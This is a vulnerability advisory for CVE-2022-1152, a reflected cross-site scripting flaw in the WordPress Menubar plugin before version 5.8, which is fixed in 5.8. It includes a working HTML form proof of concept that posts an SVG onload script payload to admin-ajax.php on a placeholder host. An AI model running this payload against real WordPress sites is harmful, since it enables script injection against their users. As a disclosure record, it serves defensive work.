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Menubar < 5.8 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the command parameter before outputting it back in the response via the menubar AJAX action (available to any authenticated users), leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="menubar" />
      <input type="hidden" name="command" value="<svg/onload=alert(/XSS/)>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
 

Affects Plugins

menubar
Fixed in version 5.8

References

CVE
CVE-2022-1152

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

p7e4

Submitter

p7e4

Submitter website
https://github.com/p7e4
Submitter twitter
p7e4_
Verified

Yes

WPVDB ID
1c55fda9-e938-4267-be77-a6d73ee46af3

Timeline

Publicly Published

2022-04-04 (about 1 years ago)

Added

2022-04-04 (about 1 years ago)

Last Updated

2022-04-09 (about 1 years ago)

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